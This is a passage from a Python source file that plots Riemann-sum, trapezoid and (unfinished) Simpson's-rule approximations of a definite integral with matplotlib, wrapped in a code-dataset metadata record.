self.y_values()[-5])\n\n\t\t#-------------------------------------------------------------------------------------------\n\t\telif technique == 'trapezoid':\n\t\t\t'''\n\t\t\tCoordinates will just be the x value at the partition and the y-values are obvious.\n\t\t\tThe tricky part is that the connecting lines will not *neccesarily* be horizontal. \n\t\t\t'''\n\t\t\tcoords = [(elem1, elem2) for elem1, elem2 in self.coordinates()[0:9:2]]\n\t\t\tprint(coords)\n\n\t\t\tplt.scatter(*zip(*coords))\n\n\t\t\tplt.plot(x, function, label = 'Trapezoidal Approximation = ' + str(self.trapezoid()))\n\n\t\t\tplt.plot([], [], label = 'Actual Value ' + r'$\\approx$' + \n\t\t\t\t\t\t\t\t\t\t\t\t\tstr(round(self.definite_integral_value(), 3)))\n\t\t\t\n\t\t\ttrapezoidError = abs((self.definite_integral_value() - self.trapezoid()))\n\t\t\tplt.plot([], [], label = 'Error ' + r'$\\approx$' + str(round(trapezoidError, 3)))\n\n\t\t\tfor x in range(self.lowerBound, self.upperBound + 1, self.delta):\n\t\t\t\tplt.vlines(x = x, ymin = 0, ymax = eval(self.function_string))\n\t\t\t'''\n\t\t\tI'll figure out a more elegant solution to this. Strange that it doesn't work in loop.\n\t\t\t'''\n\t\t\tl = []\n\t\t\tm = []\n\t\t\tfor i in range(self.lowerBound, self.upperBound + 1):\n\t\t\t\tl.append(i)\n\t\t\t\tm.append(coords[i][1])\n\n\t\t\tplt.plot(l, m,'r')\n\n\t\t#-------------------------------------------------------------------------------------------\n\t\telif technique == 'simpson':\n\t\t\t'''\n\t\t\tParabolas! (Generate unique ones.)\n\t\t\tCould use linear algebra – if I want to be fancy – or linear functions.\n\n\t\t\tf(x) = ax^2+bx+c\n\n\t\t\tProcedure:\n\t\t\tFind three points on the graph.\n\t\t\tUse a linear system to solve for values that compute the parabola.\n\t\t\tCalculate the area under the parabola and graphs.\n\t\t\t'''\n\t\t\tpass\n\n\t\t#-------------------------------------------------------------------------------------------\n\t\telse:\n\t\t\traise Exception('The plotting options are: left_hand, midpoint, right_hand, trapezoid, and simpson.')\n\t\t\n\t\tax = plt.gca()\n\t\tax.set_facecolor('xkcd:salmon')\n\n\t\tplt.legend()\n\t\tplt.show()\n\nif __name__ == '__main__':\n\timport doctest\n\tdoctest.testmod()\n","sub_path":"grapher.py","file_name":"grapher.py","file_ext":"py","file_size_in_byte":13123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"}